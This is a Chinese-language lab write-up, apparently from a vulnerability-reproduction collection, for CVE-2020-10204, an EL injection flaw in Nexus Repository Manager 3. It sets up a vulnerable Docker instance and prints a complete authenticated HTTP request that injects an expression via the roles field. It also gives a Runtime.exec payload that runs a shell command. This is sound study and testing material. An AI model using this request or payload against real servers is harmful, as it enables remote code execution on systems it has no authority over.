Nexus Repository Manager 3 遠程命令執行漏洞（CVE-2020-10204）

Path nexus/CVE-2020-10204

Nexus Repository Manager 3 是一款軟件倉庫，可以用來存儲和分發Maven、NuGET等軟件源倉庫。其3.21.1及之前版本中，存在一處任意EL表達式注入漏洞，這個漏洞是CVE-2018-16621的繞過。

參考鏈接：

• https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
• https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md

漏洞環境

執行如下命令啟動Nexus Repository Manager 3.21.1：

docker-compose up -d

等待一段時間環境才能成功啟動，訪問http://your-ip:8081即可看到Web頁面。

該漏洞需要訪問更新角色或創建角色接口，所以我們需要使用賬號密碼admin:admin登錄后臺。

漏洞復現

登錄后臺后，復制當前Cookie和CSRF Token，發送如下數據包，即可執行EL表達式：

POST /service/extdirect HTTP/1.1
Host: 192.168.1.3:8081
Content-Length: 223
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.34435456726224034
Content-Type: application/json
Accept: */*
Origin: http://192.168.1.3:8081
Referer: http://192.168.1.3:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.34435456726224034; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close

{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}

參考https://github.com/jas502n/CVE-2020-10199，使用表達式$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}即可成功執行任意命令：